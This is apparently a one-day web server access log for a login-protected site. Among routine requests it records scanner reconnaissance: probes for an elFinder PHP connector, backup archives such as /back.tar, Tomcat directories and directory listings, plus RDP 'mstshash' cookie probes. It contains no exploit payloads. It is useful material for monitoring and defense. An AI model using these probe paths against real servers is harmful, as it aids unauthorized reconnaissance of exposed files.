[02/May/2023:11:10:56 -0400] "GET /assets/plugins/elfinder/connectors/php/connector.php HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:11:15:09 -0400] "GET /logs?C=S%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:11:15:16 -0400] "GET /login HTTP/1.1" 200 4254 94.232.46.173 - - [02/May/2023:11:27:23 -0400] "/*Cookie: mstshash=Administr " 400 - 127.0.0.1 - - [02/May/2023:11:30:50 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:11:30:50 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:11:51:11 -0400] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/?C=M;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:11:56:38 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:11:56:39 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:12:27:59 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:12:28:01 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:12:28:23 -0400] "GET /'images/favicon.ico' HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:12:28:27 -0400] "GET /'images/favicon.ico' HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:12:28:27 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:12:28:51 -0400] "GET /favicon.ico HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:12:29:11 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:13:38:35 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:13:38:35 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:13:38:35 -0400] "GET /work/Catalina/localhost/sample-test/ HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:13:38:40 -0400] "GET /work/Catalina/localhost/sample-test/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:13:38:40 -0400] "GET /work/Catalina/localhost/sample-test/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:13:38:40 -0400] "GET /work/Catalina/localhost/sample-test/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:13:47:41 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:13:47:41 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:13:47:41 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:13:47:41 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:13:52:35 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:13:52:47 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:14:32:32 -0400] "GET /bin?C=N%3BO%3DD HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:14:32:33 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:15:38:02 -0400] "GET /back.tar HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:15:38:03 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:15:46:36 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:16:05:30 -0400] "HEAD /bin/tomcat8.exe HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:16:16:49 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:17:51:13 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:17:51:13 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:17:54:20 -0400] "GET /temp/ehcache_auto_created1838324167904306234diskstore/?C=S;O=D HTTP/1.1" 200 2145 87.236.176.91 - - [02/May/2023:19:26:50 -0400] "GET / HTTP/1.1" 302 - 87.236.176.91 - - [02/May/2023:19:26:50 -0400] "GET /login HTTP/1.1" 200 4254 87.236.176.170 - - [02/May/2023:19:26:51 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 167.94.138.124 - - [02/May/2023:21:04:34 -0400] "GET / HTTP/1.1" 302 - 167.94.138.124 - - [02/May/2023:21:04:34 -0400] "PRI * HTTP/2.0" 505 - 167.94.138.124 - - [02/May/2023:21:04:35 -0400] "GET /login HTTP/1.1" 200 4254 167.94.138.124 - - [02/May/2023:21:04:35 -0400] "PRI * HTTP/2.0" 505 - 167.94.138.124 - - [02/May/2023:21:04:35 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 167.94.138.124 - - [02/May/2023:21:04:35 -0400] "GET /favicon.ico HTTP/1.1" 302 - 167.94.138.124 - - [02/May/2023:21:04:35 -0400] "GET /login HTTP/1.1" 200 4254 87.236.176.55 - - [02/May/2023:21:46:42 -0400] "GET / HTTP/1.1" 302 - 87.236.176.55 - - [02/May/2023:21:46:42 -0400] "GET /login HTTP/1.1" 200 4254 87.236.176.164 - - [02/May/2023:21:46:43 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 194.165.16.10 - - [02/May/2023:22:03:07 -0400] "/*Cookie: mstshash=Administr " 400 - 192.241.195.51 - - [02/May/2023:22:20:26 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:22:22:00 -0400] "GET /back.tar.gz HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:22:22:00 -0400] "GET /login HTTP/1.1" 200 4254 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "GET / HTTP/1.1" 302 - 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "GET / HTTP/1.1" 302 - 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "PRI * HTTP/2.0" 505 - 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "GET /login HTTP/1.1" 200 4254 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "PRI * HTTP/2.0" 505 - 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "GET /favicon.ico HTTP/1.1" 302 - 167.248.133.125 - - [02/May/2023:22:25:28 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:22:39:45 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:22:39:45 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:22:39:45 -0400] "GET /bin/nullI2017-10-111507721390164.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:23:11:36 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:23:11:36 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:23:11:36 -0400] "GET /work/Catalina/localhost/sample-test/ HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:23:11:42 -0400] "GET /work/Catalina/localhost/sample-test/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:23:11:42 -0400] "GET /work/Catalina/localhost/sample-test/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:23:11:43 -0400] "GET /work/Catalina/localhost/sample-test/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:23:55:46 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:23:55:46 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:23:55:46 -0400] "GET /temp/ HTTP/1.1" 200 2145